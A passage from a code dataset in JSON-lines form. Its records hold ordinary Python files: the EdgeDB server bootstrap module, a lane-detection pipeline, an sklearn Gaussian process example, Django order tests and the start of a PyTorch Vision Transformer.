ddl_cmd, modaliases={}, schema=schema, stdmode=True)\n\n if debug.flags.delta_plan_input:\n debug.header('Delta Plan Input')\n debug.dump(delta_command)\n\n # Apply and adapt delta, build native delta plan, which\n # will also update the schema.\n schema, plan = _process_delta(delta_command, schema)\n std_plans.append(delta_command)\n\n types.update(plan.new_types)\n plan.generate(current_block)\n\n stdglobals = '\\n'.join([\n f'''CREATE SUPERUSER ROLE {edbdef.EDGEDB_SUPERUSER} {{\n SET id := '{global_ids[edbdef.EDGEDB_SUPERUSER]}'\n }};''',\n f'''CREATE DATABASE {edbdef.EDGEDB_TEMPLATE_DB} {{\n SET id := '{global_ids[edbdef.EDGEDB_TEMPLATE_DB]}'\n }};''',\n f'CREATE DATABASE {edbdef.EDGEDB_SUPERUSER_DB};',\n ])\n\n context = sd.CommandContext(stdmode=True)\n\n for ddl_cmd in edgeql.parse_block(stdglobals):\n delta_command = s_ddl.delta_from_ddl(\n ddl_cmd, modaliases={}, schema=schema, stdmode=True)\n\n schema = delta_command.apply(schema, context)\n\n refldelta, classlayout, introparts = s_refl.generate_structure(schema)\n reflschema, reflplan = _process_delta(refldelta, schema)\n\n std_plans.append(refldelta)\n\n assert current_block is not None\n reflplan.generate(current_block)\n subblock = current_block.add_block()\n\n compiler = edbcompiler.new_compiler(\n std_schema=schema,\n reflection_schema=reflschema,\n schema_class_layout=classlayout,\n bootstrap_mode=True,\n )\n\n compilerctx = edbcompiler.new_compiler_context(reflschema)\n\n for std_plan in std_plans:\n compiler._compile_schema_storage_in_delta(\n ctx=compilerctx,\n delta=std_plan,\n block=subblock,\n is_internal_reflection=std_plan is refldelta,\n stdmode=True,\n )\n\n sqltext = current_block.to_string()\n\n compilerctx = edbcompiler.new_compiler_context(\n reflschema,\n schema_reflection_mode=True,\n output_format=edbcompiler.IoFormat.JSON_ELEMENTS,\n )\n\n # The introspection query bits are returned in chunks\n # because it's a large UNION and we currently generate SQL\n # that is much harder for Posgres to plan as opposed to a\n # straight flat UNION.\n sql_introparts = []\n\n for intropart in introparts:\n introtokens = tokenizer.tokenize(intropart.encode())\n units = compiler._compile(ctx=compilerctx, tokens=introtokens)\n assert len(units) == 1 and len(units[0].sql) == 1\n sql_intropart = units[0].sql[0].decode()\n sql_introparts.append(sql_intropart)\n\n introsql = ' UNION ALL '.join(sql_introparts)\n\n return StdlibBits(\n stdschema=schema,\n reflschema=reflschema,\n sqltext=sqltext,\n types=types,\n classlayout=classlayout,\n introquery=introsql,\n )\n\n\nasync def _amend_stdlib(\n ddl_text: str,\n stdlib: StdlibBits,\n) -> Tuple[StdlibBits, str]:\n schema = stdlib.stdschema\n reflschema = stdlib.reflschema\n\n topblock = dbops.PLTopBlock()\n plans = []\n\n context = sd.CommandContext()\n context.stdmode = True\n\n for ddl_cmd in edgeql.parse_block(ddl_text):\n delta_command = s_ddl.delta_from_ddl(\n ddl_cmd, modaliases={}, schema=schema, stdmode=True)\n\n if debug.flags.delta_plan_input:\n debug.header('Delta Plan Input')\n debug.dump(delta_command)\n\n # Apply and adapt delta, build native delta plan, which\n # will also update the schema.\n schema, plan = _process_delta(delta_command, schema)\n reflschema = delta_command.apply(reflschema, context)\n plan.generate(topblock)\n plans.append(plan)\n\n compiler = edbcompiler.new_compiler(\n std_schema=schema,\n reflection_schema=reflschema,\n schema_class_layout=stdlib.classlayout,\n bootstrap_mode=True,\n )\n\n compilerctx = edbcompiler.new_compiler_context(schema)\n\n for plan in plans:\n compiler._compile_schema_storage_in_delta(\n ctx=compilerctx,\n delta=plan,\n block=topblock,\n stdmode=True,\n )\n\n sqltext = topblock.to_string()\n\n return stdlib._replace(stdschema=schema, reflschema=reflschema), sqltext\n\n\nasync def _init_stdlib(cluster, conn, testmode, global_ids):\n in_dev_mode = devmode.is_in_dev_mode()\n\n specified_cache_dir = os.environ.get('_EDGEDB_WRITE_DATA_CACHE_TO')\n if specified_cache_dir:\n cache_dir = pathlib.Path(specified_cache_dir)\n else:\n cache_dir = None\n\n stdlib_cache = 'backend-stdlib.pickle'\n tpldbdump_cache = 'backend-tpldbdump.sql'\n src_hash = buildmeta.hash_dirs(CACHE_SRC_DIRS)\n stdlib = buildmeta.read_data_cache(\n src_hash, stdlib_cache, source_dir=cache_dir)\n tpldbdump = buildmeta.read_data_cache(\n src_hash, tpldbdump_cache, source_dir=cache_dir, pickled=False)\n\n if stdlib is None:\n stdlib = await _make_stdlib(in_dev_mode or testmode, global_ids)\n cache_hit = False\n else:\n cache_hit = True\n\n await _ensure_extensions(conn)\n\n if tpldbdump is None:\n await _ensure_meta_schema(conn)\n await _execute_ddl(conn, stdlib.sqltext)\n\n if in_dev_mode or specified_cache_dir:\n tpldbdump = cluster.dump_database(\n edbdef.EDGEDB_TEMPLATE_DB,\n exclude_schemas=['edgedbinstdata', 'edgedbext'],\n )\n\n # Excluding the \"edgedbext\" schema above apparently\n # doesn't apply to extensions created in that schema,\n # so we have to resort to commenting out extension\n # statements in the dump.\n tpldbdump = re.sub(\n rb'^(CREATE|COMMENT ON) EXTENSION.*$',\n rb'-- \\g<0>',\n tpldbdump,\n flags=re.MULTILINE,\n )\n\n buildmeta.write_data_cache(\n tpldbdump,\n src_hash,\n tpldbdump_cache,\n pickled=False,\n target_dir=cache_dir,\n )\n else:\n await metaschema._execute_sql_script(conn, tpldbdump.decode('utf-8'))\n\n # When we restore a database from a dump, OIDs for non-system\n # Postgres types might get skewed as they are not part of the dump.\n # A good example of that is `std::bigint` which is implemented as\n # a custom domain type. The OIDs are stored under\n # `schema::Object.backend_id` property and are injected into\n # array query arguments.\n #\n # The code below re-syncs backend_id properties of EdgeDB builtin\n # types with the actual OIDs in the DB.\n\n compiler = edbcompiler.new_compiler(\n std_schema=stdlib.stdschema,\n reflection_schema=stdlib.reflschema,\n schema_class_layout=stdlib.classlayout,\n bootstrap_mode=True,\n )\n _, sql = compile_bootstrap_script(\n compiler,\n stdlib.reflschema,\n '''\n UPDATE schema::ScalarType\n FILTER .builtin AND NOT .is_abstract\n SET {\n backend_id := sys::_get_pg_type_for_scalar_type(.id)\n }\n ''',\n expected_cardinality_one=False,\n single_statement=True,\n )\n await conn.execute(sql)\n\n if not in_dev_mode and testmode:\n # Running tests on a production build.\n stdlib, testmode_sql = await _amend_stdlib(\n s_std.get_std_module_text('_testmode'),\n stdlib,\n )\n await conn.execute(testmode_sql)\n await metaschema.generate_support_views(\n cluster,\n conn,\n stdlib.reflschema,\n )\n\n # Make sure that schema backend_id properties are in sync with\n # the database.\n\n compiler = edbcompiler.new_compiler(\n std_schema=stdlib.stdschema,\n reflection_schema=stdlib.reflschema,\n schema_class_layout=stdlib.classlayout,\n bootstrap_mode=True,\n )\n _, sql = compile_bootstrap_script(\n compiler,\n stdlib.reflschema,\n '''\n SELECT schema::ScalarType {\n id,\n backend_id,\n } FILTER .builtin AND NOT .is_abstract;\n ''',\n expected_cardinality_one=False,\n single_statement=True,\n )\n schema = stdlib.stdschema\n typemap = await conn.fetchval(sql)\n for entry in json.loads(typemap):\n t = schema.get_by_id(uuidgen.UUID(entry['id']))\n schema = t.set_field_value(\n schema, 'backend_id', entry['backend_id'])\n\n stdlib = stdlib._replace(stdschema=schema)\n\n if not cache_hit and (in_dev_mode or specified_cache_dir):\n buildmeta.write_data_cache(\n stdlib,\n src_hash,\n stdlib_cache,\n target_dir=cache_dir,\n )\n\n await _store_static_bin_cache(\n cluster,\n 'stdschema',\n pickle.dumps(schema, protocol=pickle.HIGHEST_PROTOCOL),\n )\n\n await _store_static_bin_cache(\n cluster,\n 'reflschema',\n pickle.dumps(stdlib.reflschema, protocol=pickle.HIGHEST_PROTOCOL),\n )\n\n await _store_static_bin_cache(\n cluster,\n 'classlayout',\n pickle.dumps(stdlib.classlayout, protocol=pickle.HIGHEST_PROTOCOL),\n )\n\n await _store_static_json_cache(\n cluster,\n 'introquery',\n json.dumps(stdlib.introquery),\n )\n\n await metaschema.generate_support_views(cluster, conn, stdlib.reflschema)\n await metaschema.generate_support_functions(conn, stdlib.reflschema)\n\n compiler = edbcompiler.new_compiler(\n std_schema=schema,\n reflection_schema=stdlib.reflschema,\n schema_class_layout=stdlib.classlayout,\n bootstrap_mode=True,\n )\n\n await metaschema.generate_more_support_functions(\n conn, compiler, stdlib.reflschema)\n\n return schema, stdlib.reflschema, compiler\n\n\nasync def _execute_ddl(conn, sql_text):\n try:\n if debug.flags.delta_execute:\n debug.header('Delta Script')\n debug.dump_code(sql_text, lexer='sql')\n\n await conn.execute(sql_text)\n\n except Exception as e:\n position = getattr(e, 'position', None)\n internal_position = getattr(e, 'internal_position', None)\n context = getattr(e, 'context', '')\n if context:\n pl_func_line = re.search(\n r'^PL/pgSQL function inline_code_block line (\\d+).*',\n context, re.M)\n\n if pl_func_line:\n pl_func_line = int(pl_func_line.group(1))\n else:\n pl_func_line = None\n point = None\n\n if position is not None:\n position = int(position)\n point = parser_context.SourcePoint(\n None, None, position)\n text = e.query\n if text is None:\n # Parse errors\n text = sql_text\n\n elif internal_position is not None:\n internal_position = int(internal_position)\n point = parser_context.SourcePoint(\n None, None, internal_position)\n text = e.internal_query\n\n elif pl_func_line:\n point = parser_context.SourcePoint(\n pl_func_line, None, None\n )\n text = sql_text\n\n if point is not None:\n context = parser_context.ParserContext(\n 'query', text, start=point, end=point)\n exceptions.replace_context(e, context)\n\n raise\n\n\nasync def _init_defaults(schema, compiler, conn):\n script = '''\n CREATE MODULE default;\n '''\n\n schema, sql = compile_bootstrap_script(compiler, schema, script)\n await _execute_ddl(conn, sql)\n return schema\n\n\nasync def _populate_data(schema, compiler, conn):\n script = '''\n INSERT stdgraphql::Query;\n INSERT stdgraphql::Mutation;\n '''\n\n schema, sql = compile_bootstrap_script(compiler, schema, script)\n await _execute_ddl(conn, sql)\n return schema\n\n\nasync def _configure(\n schema: s_schema.Schema,\n compiler: edbcompiler.Compiler,\n conn: asyncpg_con.Connection,\n cluster: pgcluster.BaseCluster,\n *,\n insecure: bool = False,\n) -> None:\n scripts = []\n\n if cluster.is_managed() and not devmode.is_in_dev_mode():\n memory_kb = psutil.virtual_memory().total // 1024\n settings: Mapping[str, str] = {\n 'shared_buffers': f'\"{int(memory_kb * 0.2)}kB\"',\n 'effective_cache_size': f'\"{int(memory_kb * 0.5)}kB\"',\n 'query_work_mem': f'\"{6 * (2 ** 10)}kB\"',\n }\n\n for setting, value in settings.items():\n scripts.append(f'''\n CONFIGURE SYSTEM SET {setting} := {value};\n ''')\n else:\n settings = {}\n\n if insecure:\n scripts.append('''\n CONFIGURE SYSTEM INSERT Auth {\n priority := 0,\n method := (INSERT Trust),\n };\n ''')\n\n config_spec = config.get_settings()\n\n for script in scripts:\n _, sql = compile_bootstrap_script(\n compiler,\n schema,\n script,\n single_statement=True,\n )\n\n if debug.flags.bootstrap:\n debug.header('Bootstrap')\n debug.dump_code(sql, lexer='sql')\n\n config_op_data = await conn.fetchval(sql)\n if config_op_data is not None and isinstance(config_op_data, str):\n config_op = config.Operation.from_json(config_op_data)\n storage: Mapping[str, str] = immutables.Map()\n settings = config_op.apply(config_spec, storage)\n\n config_json = config.to_json(config_spec, settings)\n block = dbops.PLTopBlock()\n dbops.UpdateMetadata(\n dbops.Database(name=edbdef.EDGEDB_TEMPLATE_DB),\n {'sysconfig': json.loads(config_json)},\n ).generate(block)\n\n await _execute_block(conn, block)\n\n\nasync def _compile_sys_queries(schema, compiler, cluster):\n queries = {}\n\n cfg_query = config.generate_config_query(schema)\n\n schema, sql = compile_bootstrap_script(\n compiler,\n schema,\n cfg_query,\n expected_cardinality_one=True,\n single_statement=True,\n )\n\n queries['config'] = sql\n\n role_query = '''\n SELECT sys::Role {\n name,\n is_superuser,\n password,\n } FILTER .name = $name;\n '''\n schema, sql = compile_bootstrap_script(\n compiler,\n schema,\n role_query,\n expected_cardinality_one=True,\n single_statement=True,\n )\n\n queries['role'] = sql\n\n tids_query = '''\n SELECT schema::ScalarType {\n id,\n backend_id,\n } FILTER .id IN json_array_unpack($ids);\n '''\n schema, sql = compile_bootstrap_script(\n compiler,\n schema,\n tids_query,\n expected_cardinality_one=False,\n single_statement=True,\n )\n\n queries['backend_tids'] = sql\n\n await _store_static_json_cache(\n cluster,\n 'sysqueries',\n json.dumps(queries),\n )\n\n\nasync def _populate_misc_instance_data(cluster, conn):\n\n commands = dbops.CommandGroup()\n commands.add_commands([\n dbops.CreateSchema(name='edgedbinstdata'),\n ])\n\n block = dbops.PLTopBlock()\n commands.generate(block)\n await _execute_block(conn, block)\n\n mock_auth_nonce = scram.generate_nonce()\n json_instance_data = {\n 'version': dict(buildmeta.get_version_dict()),\n 'catver': edbdef.EDGEDB_CATALOG_VERSION,\n 'mock_auth_nonce': mock_auth_nonce,\n }\n\n await _store_static_json_cache(\n cluster,\n 'instancedata',\n json.dumps(json_instance_data),\n )\n\n return json_instance_data\n\n\nasync def _ensure_edgedb_database(\n conn,\n database,\n owner,\n *,\n cluster,\n builtin: bool = False,\n objid: Optional[uuid.UUID] = None,\n):\n result = await _get_db_info(conn, database)\n if not result:\n logger.info(\n f'Creating database: '\n f'{database}')\n\n block = dbops.SQLBlock()\n if objid is None:\n objid = uuidgen.uuid1mc()\n db = dbops.Database(\n database,\n owner=owner,\n metadata=dict(\n id=str(objid),\n builtin=builtin,\n ),\n )\n dbops.CreateDatabase(db).generate(block)\n await _execute_block(conn, block)\n\n\nasync def _bootstrap_config_spec(schema, cluster):\n config_spec = config.load_spec_from_schema(schema)\n config.set_settings(config_spec)\n\n await _store_static_json_cache(\n cluster,\n 'configspec',\n config.spec_to_json(config_spec),\n )\n\n\ndef _pg_log_listener(conn, msg):\n if msg.severity_en == 'WARNING':\n level = logging.WARNING\n else:\n level = logging.DEBUG\n logger.log(level, msg.message)\n\n\nasync def _get_instance_data(conn: Any) -> Dict[str, Any]:\n\n data = await conn.fetchval(\n 'SELECT edgedbinstdata.__syscache_instancedata()'\n )\n\n return json.loads(data)\n\n\nasync def _check_data_dir_compatibility(conn):\n instancedata = await _get_instance_data(conn)\n datadir_version = instancedata.get('version')\n if datadir_version:\n datadir_major = datadir_version.get('major')\n\n expected_ver = buildmeta.get_version()\n\n if datadir_major != expected_ver.major:\n raise errors.ConfigurationError(\n 'database instance incompatible with this version of EdgeDB',\n details=(\n f'The database instance was initialized with '\n f'EdgeDB version {datadir_major}, '\n f'which is incompatible with this version '\n f'{expected_ver.major}'\n ),\n hint=(\n f'You need to recreate the instance and upgrade '\n f'using dump/restore.'\n )\n )\n\n datadir_catver = instancedata.get('catver')\n expected_catver = edbdef.EDGEDB_CATALOG_VERSION\n\n if datadir_catver != expected_catver:\n raise errors.ConfigurationError(\n 'database instance incompatible with this version of EdgeDB',\n details=(\n f'The database instance was initialized with '\n f'EdgeDB format version {datadir_catver}, '\n f'but this version of the server expects '\n f'format version {expected_catver}'\n ),\n hint=(\n f'You need to recreate the instance and upgrade '\n f'using dump/restore.'\n )\n )\n\n\nasync def bootstrap(cluster, args) -> bool:\n pgconn = await cluster.connect()\n pgconn.add_log_listener(_pg_log_listener)\n std_schema = None\n\n try:\n membership = set()\n session_user = cluster.get_connection_params().user\n if session_user != edbdef.EDGEDB_SUPERUSER:\n membership.add(session_user)\n\n superuser_uid = await _ensure_edgedb_role(\n cluster,\n pgconn,\n edbdef.EDGEDB_SUPERUSER,\n membership=membership,\n is_superuser=True,\n builtin=True,\n )\n\n if session_user != edbdef.EDGEDB_SUPERUSER:\n await _execute(\n pgconn,\n f'SET ROLE {edbdef.EDGEDB_SUPERUSER};',\n )\n cluster.set_default_session_authorization(edbdef.EDGEDB_SUPERUSER)\n\n new_template_db_id = await _ensure_edgedb_template_database(\n cluster, pgconn)\n\n if new_template_db_id:\n conn = await cluster.connect(database=edbdef.EDGEDB_TEMPLATE_DB)\n conn.add_log_listener(_pg_log_listener)\n\n await _execute(\n conn,\n f'ALTER SCHEMA public OWNER TO {edbdef.EDGEDB_SUPERUSER}',\n )\n\n try:\n conn.add_log_listener(_pg_log_listener)\n\n await _populate_misc_instance_data(cluster, conn)\n\n std_schema, refl_schema, compiler = await _init_stdlib(\n cluster,\n conn,\n testmode=args['testmode'],\n global_ids={\n edbdef.EDGEDB_SUPERUSER: superuser_uid,\n edbdef.EDGEDB_TEMPLATE_DB: new_template_db_id,\n }\n )\n await _bootstrap_config_spec(std_schema, cluster)\n await _compile_sys_queries(refl_schema, compiler, cluster)\n schema = await _init_defaults(std_schema, compiler, conn)\n schema = await _populate_data(std_schema, compiler, conn)\n await _configure(schema, compiler, conn, cluster,\n insecure=args['insecure'])\n finally:\n await conn.close()\n\n superuser_db = schema.get_global(\n s_db.Database, edbdef.EDGEDB_SUPERUSER_DB)\n\n await _ensure_edgedb_database(\n pgconn,\n edbdef.EDGEDB_SUPERUSER_DB,\n edbdef.EDGEDB_SUPERUSER,\n cluster=cluster,\n builtin=True,\n objid=superuser_db.id,\n )\n\n else:\n conn = await cluster.connect(database=edbdef.EDGEDB_SUPERUSER_DB)\n\n try:\n await _check_data_dir_compatibility(conn)\n compiler = edbcompiler.Compiler({})\n await compiler.ensure_initialized(conn)\n std_schema = compiler.get_std_schema()\n config_spec = config.load_spec_from_schema(std_schema)\n config.set_settings(config_spec)\n finally:\n await conn.close()\n\n await _ensure_edgedb_template_not_connectable(pgconn)\n\n await _ensure_edgedb_role(\n cluster,\n pgconn,\n args['default_database_user'],\n membership=membership,\n is_superuser=True,\n )\n\n await _execute(\n pgconn,\n f\"SET ROLE {args['default_database_user']};\",\n )\n\n await _ensure_edgedb_database(\n pgconn,\n args['default_database'],\n args['default_database_user'],\n cluster=cluster,\n )\n\n finally:\n await pgconn.close()\n\n return new_template_db_id is not None\n","sub_path":"edb/server/bootstrap.py","file_name":"bootstrap.py","file_ext":"py","file_size_in_byte":31797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"128139718","text":"import numpy as np\nimport cv2\nimport ImageFunctions as imgf\nimport LaneDetector as ld\n\n\nclass Pipeline:\n def __init__(self, camera_calibration_file):\n self.first_image = True\n\n self.camera_calibration_file = camera_calibration_file\n self.M = None\n self.M_inv = None\n self.undistorter = None # will be set with first processed image because it needs image size\n\n self.lane_det = ld.LaneDetector(n_windows=9, margin=80, min_pix=40, poly_margin=50)\n\n def execute(self, image):\n undistorted_image, binary_warped = self.preprocess_image(image)\n\n self.lane_det.run_on_image(binary_warped)\n lane_area = self.lane_det.render_lane_area()\n colored_lanes = self.lane_det.render_lanes()\n\n postprocessed_lane_area = self.postprocess_result(lane_area)\n postprocessed_lanes = self.postprocess_result(colored_lanes)\n\n image_with_area = cv2.addWeighted(undistorted_image, 1., postprocessed_lane_area, .3, 1)\n output_image = imgf.image_overlay(postprocessed_lanes, image_with_area, overlay_transparency=.1)\n\n return self.lane_det.display_metrics(output_image)\n\n def evaluate(self, image):\n undistorted_image, binary_warped = self.preprocess_image(image)\n self.lane_det.run_on_image(binary_warped)\n visualization = self.lane_det.get_visualization()\n return self.lane_det.display_debug_info(visualization)\n\n def preprocess_image(self, image):\n self.initialize_image_operators(image)\n\n undistorted_image = self.undistorter.apply(image)\n\n hls_image = imgf.to_hls(undistorted_image)\n gray_image = imgf.to_grayscale(undistorted_image)\n\n s_threshold = imgf.color_threshold(hls_image, 2, (170, 255))\n gray_threshold = imgf.color_threshold((np.dstack((gray_image, gray_image, gray_image))), 0, (200, 255))\n\n combined_color_thresholds = imgf.combine_binary(s_threshold, gray_threshold)\n\n sobel = imgf.SobelGradientThresholder(undistorted_image, sobel_kernel=3)\n gradient_thresholds = sobel.abs_thresh(orient='x', thresh=(20, 100))\n\n thresholded_image = imgf.combine_binary(gradient_thresholds, combined_color_thresholds)\n\n binary_warped = self.warp(thresholded_image)\n return undistorted_image, binary_warped\n\n def postprocess_result(self, image):\n return self.unwarp(image)\n\n def initialize_image_operators(self, image):\n if self.first_image is True:\n self.first_image = False\n\n self.undistorter = imgf.Undistorter(self.camera_calibration_file, image.shape[1], image.shape[0])\n\n src, dst = get_transform_params(image.shape[0], image.shape[1])\n self.M = cv2.getPerspectiveTransform(src, dst)\n self.M_inv = cv2.getPerspectiveTransform(dst, src)\n\n def warp(self, image):\n return self.transform_perspective(image, self.M)\n\n def unwarp(self, image):\n return self.transform_perspective(image, self.M_inv)\n\n def transform_perspective(self, image, M):\n image_size = (image.shape[1], image.shape[0])\n return cv2.warpPerspective(image, M, image_size, flags=cv2.INTER_LINEAR)\n\n\ndef get_transform_params(height, width):\n image_size = width, height\n\n top_y = image_size[1] / 1.6\n bottom_y = image_size[1]\n\n bottom_x_margin = image_size[0] / 8\n bottom_left_x = 50 + bottom_x_margin\n bottom_right_x = image_size[0] - bottom_x_margin\n\n top_x_margin = image_size[0] / 2.18\n top_left_x = top_x_margin + 6\n top_right_x = image_size[0] - top_x_margin - 2\n\n # Having the lines one fourth away from left and right corner of the transformed image seems optimal\n # because that way the lanes are centered in the left and right half at the bottom of the image.\n dst_left_x = image_size[0] / 4\n dst_right_x = dst_left_x * 3\n\n trans_src = np.float32([\n [top_left_x, top_y], # top-left\n [top_right_x, top_y], # top-right\n [bottom_right_x, bottom_y], # bottom-right\n [bottom_left_x, bottom_y], # bottom-left\n ])\n trans_dst = np.float32([\n [dst_left_x, 0], # top-left\n [dst_right_x, 0], # top-right\n [dst_right_x, image_size[1]], # bottom-right\n [dst_left_x, image_size[1]] # bottom-left\n ])\n return trans_src, trans_dst\n","sub_path":"src/Pipeline.py","file_name":"Pipeline.py","file_ext":"py","file_size_in_byte":4368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"362972428","text":"#encoding:utf-8\nfrom sklearn import datasets\nimport numpy as np\nfrom sklearn import preprocessing\nfrom sklearn import pipeline\nfrom sklearn import decomposition\nfrom matplotlib import pyplot as plt\nfrom sklearn.datasets import load_boston\nfrom sklearn.gaussian_process import GaussianProcess\n\nboston = load_boston()\nboston_X = boston.data\nboston_y = boston.target\ntrain_set = np.random.choice([True, False], len(boston_y), p=[.75 , .25])\n\ngp = GaussianProcess()\nresult=gp.fit(boston_X[train_set], boston_y[train_set])\ntest_preds,test_sample_mse = gp.predict(boston_X[~train_set],eval_MSE=True)\n\n#线性\ngplinear = GaussianProcess(regr='linear', theta0=5e-1)\ngplinear.fit(boston_X[train_set], boston_y[train_set])\n#\nlinear_preds,linear_sample_mse = gplinear.predict(boston_X[~train_set],eval_MSE=True)\n\n#MSE\normes=np.power(test_preds - boston_y[~train_set], 2).mean()\n\nlinear_mes=np.power(linear_preds - boston_y[~train_set], 2).mean()\n\nprint (\"估计-mse\")\nprint(test_sample_mse[:5])\nprint(linear_sample_mse[:5])\nprint (\"mse\")\nprint(ormes)\nprint(linear_mes)\n\nplt.rcParams['font.sans-serif'] = ['SimHei']\nplt.rcParams['font.family']='sans-serif'\n\nplt.rcParams['axes.unicode_minus'] = False\nf, ax = plt.subplots(figsize=(10, 7), nrows=5)\nf.tight_layout()\n#我们把预测值和实际值画出来比较\nax[0].plot(range(len(test_preds)), test_preds, color='b',label=u'预测值PredictedValues');\nax[0].plot(range(len(test_preds)), linear_preds, color='r', label=u'线性预测值li-PredictedValues');\nax[0].plot(range(len(test_preds)), boston_y[~train_set], color='k', label=u'实际值ctual Values');\n# ax[0].set_title(\"实际值与预测值Predicted vs Actuals\")\nax[0].legend(loc='best')\n\nax[0].set_title(u'预测值与实际值')\n\n\nax[1].plot(range(len(test_preds)),\n test_preds - boston_y[~train_set]);\nax[1].set_title(u'残差散点图Plotted Residuals')\n\nax[2].hist(test_preds - boston_y[~train_set]);\nax[2].set_title(u'残差直方图Histogram of Residuals');\n\n\n\nax[3].hist(test_preds - boston_y[~train_set],label='Residuals Original', color='b', alpha=.5);\nax[3].hist(linear_preds - boston_y[~train_set],label='Residuals Linear', color='r', alpha=.5);\nax[3].set_title(\"Residuals\")\nax[3].legend(loc='best')\n\nn = 120\nrng = range(n)\nax[4].scatter(rng, linear_preds[:n])\nax[4].errorbar(rng, linear_preds[:n], yerr=1.96*linear_sample_mse[:n])\nax[4].set_title(\"Predictions with Error Bars\")\nax[4].set_xlim((-20, 140));\nax[4].hist(linear_preds - boston_y[~train_set]);\nax[4].set_title(u'残差直方图Histogram of Residuals');\n\nplt.show()","sub_path":"core.framework.datamining.pyscript/sklearn-examples/cookbook/gaussianprocess.py","file_name":"gaussianprocess.py","file_ext":"py","file_size_in_byte":2547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"225539546","text":"from django.test import TestCase\n\nfrom django.urls import reverse\nimport pytest\nfrom myshop.shop.models import Product\nfrom ..models import Order, OrderItem\nfrom myshop.orders.tests.factories import OrderFactory, OrderItemFactory\nfrom myshop.shop.tests.factories import ProductFactory\nfrom decimal import Decimal\n\npytestmark = pytest.mark.django_db\n\n\nclass TestOrderModel(TestCase):\n def setUp(self):\n self.order = OrderFactory(discount=10)\n\n self.product = ProductFactory(price=10)\n self.product2 = ProductFactory(price=20)\n\n OrderItem.objects.create(\n order=self.order, product=self.product, price=self.product.price, quantity=1\n )\n OrderItem.objects.create(\n order=self.order,\n product=self.product2,\n price=self.product2.price,\n quantity=2,\n )\n\n def test_order_str_return(self):\n order = self.order\n self.assertEqual(str(order), f\"Order {order.id}\")\n\n def test_total_cost(self):\n order = self.order\n self.assertEqual(order.get_total_cost(), Decimal(\"45\"))\n\n\nclass TestOrderItemModel(TestCase):\n def setUp(self):\n self.product = ProductFactory()\n self.order_item = OrderItemFactory(product=self.product,quantity=2, price = self.product.price)\n\n def test_order_str_return(self):\n order_item = self.order_item\n self.assertEqual(str(order_item), str(order_item.id))\n\n def test_get_cost(self):\n order_item = self.order_item\n price = order_item.product.price*order_item.quantity\n self.assertEqual(order_item.get_cost(), price)","sub_path":"myshop/orders/tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"76606466","text":"# Copyright 2021 Zilliz. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the 'License');\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an 'AS IS' BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"\nPytorch impletation of 'An Image is Worth 16x16 Words: Transformers for Image Recognition at Scale'.\nJax version: https://github.com/google-research/vision_transformer.\n\"\"\"\n\nimport torch\nfrom torch import nn\n\nfrom towhee.trainer.models.vit.transformer import Transformer\nfrom towhee.trainer.models.vit.vit_training_utils import load_pretrained_weights, as_tuple\nfrom towhee.trainer.models.vit.vit_pretrained import PRETRAINED_MODELS\n\n\nclass PositionalEmbedding1D(nn.Module):\n \"\"\"\n Adds (optionally learned) positional embeddings to the inputs.\n \"\"\"\n\n def __init__(self, seq_len, dim):\n super().__init__()\n self.pos_embedding = nn.Parameter(torch.zeros(1, seq_len, dim))\n\n def forward(self, x):\n \"\"\"\n Input has shape (batch_size, seq_len, emb_dim)\n \"\"\"\n return x + self.pos_embedding\n\n\nclass ViT(nn.Module):\n \"\"\"\n Args:\n name(str, optional):\n Model name.\n weights_path(str):\n Local path to weights file.\n pretrained(bool):\n Load pretrained weights.\n patches(int):\n Number of image patches.\n dim(int):\n Number of self dimention.\n ff_dim(int):\n Number of layer size in feedforward network.\n num_heads(int):\n Number of heads.\n num_layers(int):\n Number of layers.\n attention_dropout_rate(float):\n Attention dropout rate.\n dropout_rate(float):\n Dropout rate.\n representation_size(int, optional):\n Enable and set representation layer to this value if set.\n classifier(str):\n classifier type.\n positional_embedding(str):\n positional embedding.\n in_channels(int):\n Number of input channels.\n image_size(int, optional):\n image size.\n num_classes(int, optional):\n Number of classes for classification head.\n resize_positional_embedding(bool,optional):\n If resize_positional_embedding is true.\n to_vec(bool, optional):\n If the embedding vector is predicted instead.\n \"\"\"\n\n def __init__(\n self,\n name=None,\n weights_path=None,\n pretrained=False,\n patches=16,\n dim=768,\n ff_dim=3072,\n num_heads=12,\n num_layers=12,\n attention_dropout_rate=0.0,\n dropout_rate=0.1,\n representation_size=None,\n load_repr_layer=False,\n classifier='token',\n positional_embedding='1d',\n in_channels=3,\n image_size=None,\n num_classes=None,\n resize_positional_embedding=True,\n to_vec=False\n ):\n super().__init__()\n print(f'attention_dropout_rate is {attention_dropout_rate}')\n # Configuration\n if name is None:\n check_msg = 'must specify name of pretrained model'\n assert not pretrained, check_msg\n assert not resize_positional_embedding, check_msg\n if num_classes is None:\n num_classes = 1000\n if image_size is None:\n image_size = 384\n else: # load pretrained model\n assert name in PRETRAINED_MODELS, \\\n 'name should be in: ' + ', '.join(PRETRAINED_MODELS.keys())\n config = PRETRAINED_MODELS[name]['config']\n patches = config['patches']\n dim = config['dim']\n ff_dim = config['ff_dim']\n num_heads = config['num_heads']\n num_layers = config['num_layers']\n attention_dropout_rate = config['attention_dropout_rate']\n dropout_rate = config['dropout_rate']\n representation_size = config['representation_size']\n classifier = config['classifier']\n if image_size is None:\n image_size = PRETRAINED_MODELS[name]['image_size']\n if num_classes is None:\n num_classes = PRETRAINED_MODELS[name]['num_classes']\n self.image_size = image_size\n\n self.to_vec = to_vec\n\n # Image and patch sizes\n h, w = as_tuple(image_size) # image sizes\n fh, fw = as_tuple(patches) # patch sizes\n gh, gw = h // fh, w // fw # number of patches\n seq_len = gh * gw\n\n # Patch embedding\n self.patch_embedding = nn.Conv2d(in_channels, dim, kernel_size=(fh, fw), 